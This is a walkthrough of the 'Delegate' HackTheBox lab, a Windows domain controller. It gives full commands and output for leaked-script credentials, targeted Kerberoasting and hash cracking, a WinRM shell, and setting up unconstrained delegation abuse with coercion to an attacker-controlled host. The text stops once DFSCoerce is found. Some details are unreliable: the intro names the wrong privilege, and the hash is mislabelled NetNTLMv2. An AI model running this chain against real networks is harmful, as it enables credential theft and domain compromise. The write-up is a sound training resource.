Delegate

Delegate starts with a bat script on an open SMB share that leaks credentials. I’ll use those to targeted Kerberoast another user, and get a shell. That user has SeChangeNotifyPrivilege, which I’ll use to give a fake computer unconstrained delegation, and then capture the DC machine account TGT. From there I can DCSync to dump the Administrator’s NTLM hash.

Box Info

Name Delegate Delegate
Play on HackTheBox
Release Date 11 Sep 2025
Retire Date 11 Sep 2025
OS Windows Windows
Base Points Medium [30]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creator Geiseric

Recon

Initial Scanning

nmap finds 24 open TCP ports:

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.56.255
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-12 10:01 UTC
...[snip]...
Nmap scan report for 10.129.56.255
Host is up, received echo-reply ttl 127 (0.023s latency).
Scanned at 2025-09-12 10:01:47 UTC for 14s
Not shown: 65511 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49668/tcp open  unknown          syn-ack ttl 127
49670/tcp open  unknown          syn-ack ttl 127
49672/tcp open  unknown          syn-ack ttl 127
63710/tcp open  unknown          syn-ack ttl 127
64377/tcp open  unknown          syn-ack ttl 127
64378/tcp open  unknown          syn-ack ttl 127
64383/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
           Raw packets sent: 131053 (5.766MB) | Rcvd: 27 (1.172KB)
oxdf@hacky$ nmap -p -sCV -p 53,88,135,139,389,445,464,636,3268,3269,3389,5985,9389,47001 10.129.56.255
Only 1 -p option allowed, separate multiple ranges with commas.
QUITTING!
oxdf@hacky$ nmap -sCV -p 53,88,135,139,389,445,464,636,3268,3269,3389,5985,9389,47001 10.129.56.255
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-12 10:02 UTC
Nmap scan report for 10.129.56.255
Host is up (0.023s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-12 10:03:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Not valid before: 2025-04-15T05:26:31
|_Not valid after:  2025-10-15T05:26:31
|_ssl-date: 2025-09-12T10:03:47+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: DELEGATE
|   NetBIOS_Domain_Name: DELEGATE
|   NetBIOS_Computer_Name: DC1
|   DNS_Domain_Name: delegate.vl
|   DNS_Computer_Name: DC1.delegate.vl
|   DNS_Tree_Name: delegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-12T10:03:07+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-09-12T10:03:08
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.79 seconds

The box shows many of the ports associated with a Windows Domain Controller. The domain is delegate.vl, and the hostname is DC1.

I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:

oxdf@hacky$ netexec smb 10.129.56.255 --generate-hosts-file hosts
SMB         10.129.56.255   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
oxdf@hacky$ cat hosts 
10.129.56.255     DC1.delegate.vl delegate.vl DC1
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts

It also notes that guest auth is enabled, so I’ll want to enumerate that.

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

SMB - TCP 445

Users

The guest authentication is not enough to list users just by asking for users, but I am able to do a RID cycle (bruteforce) attack:

oxdf@hacky$ netexec smb dc1.delegate.vl -u guest -p '' --rid-brute 
SMB         10.129.56.255   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         10.129.56.255   445    DC1              [+] delegate.vl\guest: 
SMB         10.129.56.255   445    DC1              498: DELEGATE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.56.255   445    DC1              500: DELEGATE\Administrator (SidTypeUser)
SMB         10.129.56.255   445    DC1              501: DELEGATE\Guest (SidTypeUser)
SMB         10.129.56.255   445    DC1              502: DELEGATE\krbtgt (SidTypeUser)
SMB         10.129.56.255   445    DC1              512: DELEGATE\Domain Admins (SidTypeGroup)
SMB         10.129.56.255   445    DC1              513: DELEGATE\Domain Users (SidTypeGroup)
SMB         10.129.56.255   445    DC1              514: DELEGATE\Domain Guests (SidTypeGroup)
SMB         10.129.56.255   445    DC1              515: DELEGATE\Domain Computers (SidTypeGroup)
SMB         10.129.56.255   445    DC1              516: DELEGATE\Domain Controllers (SidTypeGroup)
SMB         10.129.56.255   445    DC1              517: DELEGATE\Cert Publishers (SidTypeAlias)
SMB         10.129.56.255   445    DC1              518: DELEGATE\Schema Admins (SidTypeGroup)
SMB         10.129.56.255   445    DC1              519: DELEGATE\Enterprise Admins (SidTypeGroup)
SMB         10.129.56.255   445    DC1              520: DELEGATE\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.56.255   445    DC1              521: DELEGATE\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.56.255   445    DC1              522: DELEGATE\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.56.255   445    DC1              525: DELEGATE\Protected Users (SidTypeGroup)
SMB         10.129.56.255   445    DC1              526: DELEGATE\Key Admins (SidTypeGroup)
SMB         10.129.56.255   445    DC1              527: DELEGATE\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.56.255   445    DC1              553: DELEGATE\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.56.255   445    DC1              571: DELEGATE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.56.255   445    DC1              572: DELEGATE\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.56.255   445    DC1              1000: DELEGATE\DC1$ (SidTypeUser)
SMB         10.129.56.255   445    DC1              1101: DELEGATE\DnsAdmins (SidTypeAlias)
SMB         10.129.56.255   445    DC1              1102: DELEGATE\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.56.255   445    DC1              1104: DELEGATE\A.Briggs (SidTypeUser)
SMB         10.129.56.255   445    DC1              1105: DELEGATE\b.Brown (SidTypeUser)
SMB         10.129.56.255   445    DC1              1106: DELEGATE\R.Cooper (SidTypeUser)
SMB         10.129.56.255   445    DC1              1107: DELEGATE\J.Roberts (SidTypeUser)
SMB         10.129.56.255   445    DC1              1108: DELEGATE\N.Thompson (SidTypeUser)
SMB         10.129.56.255   445    DC1              1121: DELEGATE\delegation admins (SidTypeGroup)

Shares

Using the guest authentication, I’ll see the standard SMB shares typically available on a Windows DC:

oxdf@hacky$ netexec smb dc1.delegate.vl -u guest -p '' --shares
SMB         10.129.56.255   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         10.129.56.255   445    DC1              [+] delegate.vl\guest: 
SMB         10.129.56.255   445    DC1              [*] Enumerated shares
SMB         10.129.56.255   445    DC1              Share           Permissions     Remark
SMB         10.129.56.255   445    DC1              -----           -----------     ------
SMB         10.129.56.255   445    DC1              ADMIN$                          Remote Admin
SMB         10.129.56.255   445    DC1              C$                              Default share
SMB         10.129.56.255   445    DC1              IPC$            READ            Remote IPC
SMB         10.129.56.255   445    DC1              NETLOGON        READ            Logon server share 
SMB         10.129.56.255   445    DC1              SYSVOL          READ            Logon server share

It’s always worth checking NETLOGON and SYSVOL. These two shares can have scripts or other policies that may leak credentials. In this case, there’s a script on SYSVOL:

oxdf@hacky$ smbclient -N //dc1.delegate.vl/SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Sep  9 13:52:30 2023
  ..                                  D        0  Sat Aug 26 09:39:25 2023
  delegate.vl                        Dr        0  Sat Aug 26 09:39:25 2023

                4652287 blocks of size 4096. 1001411 blocks available
smb: \> cd delegate.vl\
smb: \delegate.vl\> ls
  .                                   D        0  Sat Aug 26 09:45:45 2023
  ..                                  D        0  Sat Aug 26 09:39:25 2023
  DfsrPrivate                      DHSr        0  Sat Aug 26 09:45:45 2023
  Policies                            D        0  Sat Aug 26 09:39:30 2023
  scripts                             D        0  Sat Aug 26 12:45:24 2023

                4652287 blocks of size 4096. 1001411 blocks available
smb: \delegate.vl\> ls scripts\
  .                                   D        0  Sat Aug 26 12:45:24 2023
  ..                                  D        0  Sat Aug 26 09:45:45 2023
  users.bat                           A      159  Sat Aug 26 12:54:29 2023

                4652287 blocks of size 4096. 1001411 blocks available
smb: \delegate.vl\> get scripts\users.bat users.bat
getting file \delegate.vl\scripts\users.bat of size 159 as users.bat (1.7 KiloBytes/sec) (average 1.4 KiloBytes/sec)

This script has credentials for A.Briggs:

rem @echo off
net use * /delete /y
net use v: \\dc1\development 

if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123

Auth as A.Briggs

The password works for A.Briggs:

oxdf@hacky$ netexec smb dc1.delegate.vl -u A.Briggs -p 'P4ssw0rd1#123'
SMB         10.129.56.255   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         10.129.56.255   445    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123 

It doesn’t work over WinRM or RDP (the plus means the creds are good, but lack of pwned! means permissions to RDP are not there):

oxdf@hacky$ netexec winrm dc1.delegate.vl -u A.Briggs -p 'P4ssw0rd1#123'
WINRM       10.129.56.255   5985   DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) 
WINRM       10.129.56.255   5985   DC1              [-] delegate.vl\A.Briggs:P4ssw0rd1#123
oxdf@hacky$ netexec rdp dc1.delegate.vl -u A.Briggs -p 'P4ssw0rd1#123'
RDP         10.129.56.255   3389   DC1              [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC1) (domain:delegate.vl) (nla:True)
RDP         10.129.56.255   3389   DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123 

Shell as N.Thompson

BloodHound

Collection

I’ll use auth as A.Briggs to collect BloodHound data. I like to collect with both netexec:

oxdf@hacky$ netexec ldap dc1.delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' --bloodhound -c All --dns-server 10.129.56.255
LDAP        10.129.56.255   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.56.255   389    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123
LDAP        10.129.56.255   389    DC1              Resolved collection methods: session, objectprops, rdp, dcom, container, localadmin, trusts, psremote, acl, group
LDAP        10.129.56.255   389    DC1              Done in 0M 5S
LDAP        10.129.56.255   389    DC1              Compressing output into /home/oxdf/.nxc/logs/DC1_10.129.56.255_2025-09-12_103059_bloodhound.zip

And rusthound-ce (just because sometimes one misses something):

oxdf@hacky$ rusthound-ce --domain delegate.vl -u A.Briggs -p P4ssw0rd1#123 --zip
---------------------------------------------------
Initializing RustHound-CE at 10:42:10 on 09/12/25
Powered by @g0h4n_0
---------------------------------------------------

[2025-09-12T10:42:10Z INFO  rusthound_ce] Verbosity level: Info
[2025-09-12T10:42:10Z INFO  rusthound_ce] Collection method: All
[2025-09-12T10:42:10Z INFO  rusthound_ce::ldap] Connected to DELEGATE.VL Active Directory!
[2025-09-12T10:42:10Z INFO  rusthound_ce::ldap] Starting data collection...
[2025-09-12T10:42:10Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-12T10:42:10Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=delegate,DC=vl
[2025-09-12T10:42:10Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-12T10:42:11Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=delegate,DC=vl
[2025-09-12T10:42:11Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-12T10:42:11Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=delegate,DC=vl
[2025-09-12T10:42:11Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-12T10:42:11Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=delegate,DC=vl
[2025-09-12T10:42:11Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-09-12T10:42:11Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=delegate,DC=vl
[2025-09-12T10:42:11Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2025-09-12T10:42:11Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10
[2025-09-12T10:42:11Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::maker::common] 9 users parsed!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::maker::common] 61 groups parsed!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::maker::common] 1 ous parsed!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::maker::common] 3 domains parsed!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2025-09-12T10:42:11Z INFO  rusthound_ce::json::maker::common] .//20250912104211_delegate-vl_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 10:42:11 on 09/12/25! Happy Graphing!

Analysis

I’ll upload both zip archives into the BloodHound-CE Docker, find A.Briggs, and mark them as owned:

image-20250912065020481

This user has one Outbound Object Control, which I’ll select. It’s GenericWrite over N.Thompson:

image-20250912065053453

N.Thompson is in the Remote Management Users group, so they will be able to WinRM:

image-20250912065205004

Targeted Kerberoast

Get NetNTLMv2

With GenericWrite over an account, there are a couple of potential vectors to take over the account. One is a shadow credential, but I wasn’t able to get that to work here. The other is a targeted Kerberoast attack. I’ve shown this attack a couple times before on Vintage, Administrator, and Blazorized.

I’ll use targetedKerberoast.py (installed with uv as shown in my uv cheatsheet):

oxdf@hacky$ targetedKerberoast.py -d 'delegate.vl' -u A.Briggs -p P4ssw0rd1#123
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (N.Thompson)
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$1e386cc3c902da2a37ca7fb709f240e7$683a72d4bce12eb20a3bc1345ded9b27c75a471647b1b6c9962a51d4cbbe4230c8f5940e263e36a4cc22ce83e148b2f20a6665bafbd94f26c1c0a27ef81194d1d520bad1a3d5b61688b49f3c8033449f3331c90013992859efcf95425623d37d23d9ddd315657c9cf4322c51ae53b0f458305d3056e2b1d1fa20e859ad89f18a82f0c31d47d7e61182644d02c19a7efff1b2167c801d955e9dd62987a9029f372083c97feffee76ad1b4e11a93f152e7f56037cf6e5dc797a5b73f980856ffad74edeaaa16da87ea7bdfd0c8289714bd3d78964b1c5dbbfcab8a79bb2d797be3935f48130a9e417b9c06db0eaa0101e98030c68e4b4ddc275fb65f903e847fa45ab75343eb49bd5dfc4c480a6b1cbdd1c1bb2aac6fa49f9944d1ddf8c748c1426aff9588f6e93f5290fe1cf502318077d0c6aed0e3fc92a6dea115bf38b793a318481e9ef810b0b4a8ae076884eb81d54f8b3148eeabf927a3ce99012f6c6adf1a03280e066d708d3d8e4174987fbb2b2eccd46f6b3657c5914ef597c24039a726944247ca1c038a09afa3dd0c1ccb74b2d4b869c96640800060fd8e1c60f04401ab6c80af6c8327d991109c4c94680fc67c81eb4584bdac6682151425da4c6613f3f18483e1582f517e75d6ed89e0ee6914231f29e76b1c5826c64f0c26172ffa9b4c5dfb049ca98b7b09af6dbf851a0580e6b86c5d893e9715e1032bab03f1230e4813b15baa6424de688f176d2c6a42fe2977e160b61372389dbe6f695aa5d729d6dd1290fd25a867890ae0fb15eb6c5fe0925aea11bc328ec5156e0f4f53df4aee63958604a0df1c633fb4bfe425924edd726a788acdee4f9d331cdf4410c8c750a6bd541b9e71f3df58ebbdae9b573299f4e782adda09052f60873bc7bc390f41023532045b1d3e92df8d7fa439ee5ec399ae51f065dfcfbf2177ccee8fec0468cc709fcedefe93782ac4139603cf557529095459e12f7096bf2ce36593f092f66a1554c9aae57adeb8d9be701e05c82843cbcc981f56305e83d225e8b5d1f7f007f196db1f82997aea52247a58605d610302b6b28de432303957f72464eefbbb3efe71535104157e340b9869e5545c2624184dc69185922cd523ecbab905c2bd8e0035fa97f3a8ca14f0dbea7f7418e9c8220f697a3532cde2e30ab89e21c5a89868668619491a99ec4c9f5af16218c7b8f30fb86478442c8da1b63d659e6040321eaf5aeaa7423327cc084c8ec90c7ac39604d6a5258f5fbc87449ae9cd6fccb2f5ec834f0656636d12aca7f9c328301d2c9315b29ac932f04c088e4f7093d6e3780fd09763efe7fe9903a2034cdb7dcd0db477d4cfaeba80e3a0fbbe16d881e53fc6501f385a4a2c7c6bf6f81316c74b1dd881137b443235dd32f4d5479ab9f0db5190c55602dc2a3b4b5cee30ea3a861a2b4c7f71fcfb4fab1a4539550b8e97

This attack finds accounts that the given user can control, adds a SPN to their accounts, runs a Kerberoast attack to dump the NetNTLMv2 “hash” (not really a hash, but a cryptographic challenge response), and cleans up.

Crack

I’ll save that hash to a file and pass it to hashcat:

$ hashcat N.Thompson.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$1e386cc3c902da2a37ca7fb709f240e7$683a72d4bce12eb20a3bc1345ded9b27c75a471647b1b6c9962a51d4cbbe4230c8f5940e263e36a4cc22ce83e148b2f20a6665bafbd94f26c1c0a27ef81194d1d520bad1a3d5b61688b49f3c8033449f3331c90013992859efcf95425623d37d23d9ddd315657c9cf4322c51ae53b0f458305d3056e2b1d1fa20e859ad89f18a82f0c31d47d7e61182644d02c19a7efff1b2167c801d955e9dd62987a9029f372083c97feffee76ad1b4e11a93f152e7f56037cf6e5dc797a5b73f980856ffad74edeaaa16da87ea7bdfd0c8289714bd3d78964b1c5dbbfcab8a79bb2d797be3935f48130a9e417b9c06db0eaa0101e98030c68e4b4ddc275fb65f903e847fa45ab75343eb49bd5dfc4c480a6b1cbdd1c1bb2aac6fa49f9944d1ddf8c748c1426aff9588f6e93f5290fe1cf502318077d0c6aed0e3fc92a6dea115bf38b793a318481e9ef810b0b4a8ae076884eb81d54f8b3148eeabf927a3ce99012f6c6adf1a03280e066d708d3d8e4174987fbb2b2eccd46f6b3657c5914ef597c24039a726944247ca1c038a09afa3dd0c1ccb74b2d4b869c96640800060fd8e1c60f04401ab6c80af6c8327d991109c4c94680fc67c81eb4584bdac6682151425da4c6613f3f18483e1582f517e75d6ed89e0ee6914231f29e76b1c5826c64f0c26172ffa9b4c5dfb049ca98b7b09af6dbf851a0580e6b86c5d893e9715e1032bab03f1230e4813b15baa6424de688f176d2c6a42fe2977e160b61372389dbe6f695aa5d729d6dd1290fd25a867890ae0fb15eb6c5fe0925aea11bc328ec5156e0f4f53df4aee63958604a0df1c633fb4bfe425924edd726a788acdee4f9d331cdf4410c8c750a6bd541b9e71f3df58ebbdae9b573299f4e782adda09052f60873bc7bc390f41023532045b1d3e92df8d7fa439ee5ec399ae51f065dfcfbf2177ccee8fec0468cc709fcedefe93782ac4139603cf557529095459e12f7096bf2ce36593f092f66a1554c9aae57adeb8d9be701e05c82843cbcc981f56305e83d225e8b5d1f7f007f196db1f82997aea52247a58605d610302b6b28de432303957f72464eefbbb3efe71535104157e340b9869e5545c2624184dc69185922cd523ecbab905c2bd8e0035fa97f3a8ca14f0dbea7f7418e9c8220f697a3532cde2e30ab89e21c5a89868668619491a99ec4c9f5af16218c7b8f30fb86478442c8da1b63d659e6040321eaf5aeaa7423327cc084c8ec90c7ac39604d6a5258f5fbc87449ae9cd6fccb2f5ec834f0656636d12aca7f9c328301d2c9315b29ac932f04c088e4f7093d6e3780fd09763efe7fe9903a2034cdb7dcd0db477d4cfaeba80e3a0fbbe16d881e53fc6501f385a4a2c7c6bf6f81316c74b1dd881137b443235dd32f4d5479ab9f0db5190c55602dc2a3b4b5cee30ea3a861a2b4c7f71fcfb4fab1a4539550b8e97:KALEB_2341
...[snip]...

It identifies the hash type and cracks it in about 14 seconds on my host.

Shell

The creds work:

oxdf@hacky$ netexec smb dc1.delegate.vl -u N.Thompson -p KALEB_2341
SMB         10.129.56.255   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         10.129.56.255   445    DC1              [+] delegate.vl\N.Thompson:KALEB_2341

They still don’t provide RDP, but as expected, they work for WinRM:

oxdf@hacky$ netexec rdp dc1.delegate.vl -u N.Thompson -p KALEB_2341
RDP         10.129.56.255   3389   DC1              [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC1) (domain:delegate.vl) (nla:True)
RDP         10.129.56.255   3389   DC1              [+] delegate.vl\N.Thompson:KALEB_2341 
oxdf@hacky$ netexec winrm dc1.delegate.vl -u N.Thompson -p KALEB_2341
WINRM       10.129.56.255   5985   DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) 
WINRM       10.129.56.255   5985   DC1              [+] delegate.vl\N.Thompson:KALEB_2341 (Pwn3d!)

I’ll get a shell using evil-winrm-py:

oxdf@hacky$ evil-winrm-py -i dc1.delegate.vl -u N.Thompson -p KALEB_2341
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to 'dc1.delegate.vl:5985' as 'N.Thompson'
evil-winrm-py PS C:\Users\N.Thompson\Documents>

And grab the user flag:

evil-winrm-py PS C:\Users\N.Thompson\Desktop> cat user.txt
ae96f625************************

Shell as Administrator

Enumeration

There are no other users besides Administrator with home directories in C:\Users:

evil-winrm-py PS C:\> tree /f Users
Folder PATH listing
Volume serial number is 000001F7 1753:FC39
C:\USERS
+---Administrator
+---N.Thompson
¦   +---Desktop
¦   ¦       user.txt
¦   ¦       
¦   +---Documents
¦   +---Downloads
¦   +---Favorites
¦   +---Links
¦   +---Music
¦   +---Pictures
¦   +---Saved Games
¦   +---Videos
+---Public

Besides the flag, there’s nothing interesting that N.Thompson can access.

N.Thompson does have an interesting privilege:

evil-winrm-py PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State  
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled

I’ll abuse SeEnableDelegationPrivilege to escalate.

Delegation

Strategy

Just like in Redelegate, I’ve got SeEnableDelegationPrivilege, which will allow me to configure both unconstrained and constrained delegation for the machine.

I abused constrained delegation in Redelegate because the MachineAccountQuota there was 0, which eliminates the typical method for exploiting unconstrained delegation, and because I had a computer object already that I could use for constrained delegation.

Here, the MachineAccountQuota is 10 (the default), which means any user can add up to 10 computers to the domain:

oxdf@hacky$ netexec ldap dc1.delegate.vl -u A.Briggs -p P4ssw0rd1#123 -M maq
LDAP        10.129.56.255   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.56.255   389    DC1              [+] delegate.vl\A.Briggs:P4ssw0rd1#123 
MAQ         10.129.56.255   389    DC1              [*] Getting the MachineAccountQuota
MAQ         10.129.56.255   389    DC1              MachineAccountQuota: 10

I’ll also note that LDAP signing is not enforced. These two prerequisites for abusing unconstrained delegation are met.

To abuse this, I’ll create a machine account and a DNS record for it. Then I’ll give it a SPN and set it up for unconstrained delegation. From there, I’ll coerce the DC to authenticate to the fake machine and capture a copy of the TGT which is only saved because of the unconstrained delegation.

Setup Machine

I’ll be working with tools from Impacket, BloodyAD, and krbrelayx. I’ll create my machine using addcomputer.py:

oxdf@hacky$ addcomputer.py -computer-name oxdf -computer-pass 0xdf0xdf. -dc-ip 10.129.56.255 delegate.vl/N.Thompson:'KALEB_2341'
/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account oxdf$ with password 0xdf0xdf..

Now I can add the DNS record so that objects on the domain can talk to my fake host:

oxdf@hacky$ uv run --script /opt/krbrelayx/dnstool.py -u 'delegate.vl\oxdf$' -p '0xdf0xdf.' --action add --record oxdf.delegate.vl --data 10.10.14.35 --type A -dns-ip 10.129.56.255 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
oxdf@hacky$ dig @10.129.56.255 oxdf.delegate.vl +noall +answer
oxdf.delegate.vl.       180     IN      A       10.10.14.35

It worked. Finally I’ll give the host unconstrained delegation using BloodyAD:

oxdf@hacky$ bloodyAD -d delegate.vl -u N.Thompson -p KALEB_2341 --host dc1.delegate.vl add uac 'oxdf$' -f TRUSTED_FOR_DELEGATION
[-] ['TRUSTED_FOR_DELEGATION'] property flags added to oxdf$'s userAccountControl

Relay

I’ll set up my relay first by running krbrelayx. I’ll need to give it the NTLM hash for the computer password I created, “0xdf0xdf.”. I can calculate that in Python:

oxdf@hacky$ python -c "password = '0xdf0xdf.'; import hashlib; print(hashlib.new('md4', password.encode('utf-16le')).hexdigest())"
02cb8258df07966e32677128e5ff1d26

Now I’ll start the relay:

oxdf@hacky$ uv run /opt/krbrelayx/krbrelayx.py -hashes :02cb8258df07966e32677128e5ff1d26
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections

I’ll need to coerce the DC to authenticating to oxdf.delegate.vl. netexec has a coerce_plus module that will test common methods:

oxdf@hacky$ netexec smb dc1.delegate.vl -u 'fake$' -p 0xdf0xdf. -M coerce_plus 
SMB         10.129.56.255   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         10.129.56.255   445    DC1              [+] delegate.vl\fake$:0xdf0xdf. 
COERCE_PLUS 10.129.56.255   445    DC1              VULNERABLE, DFSCoerce
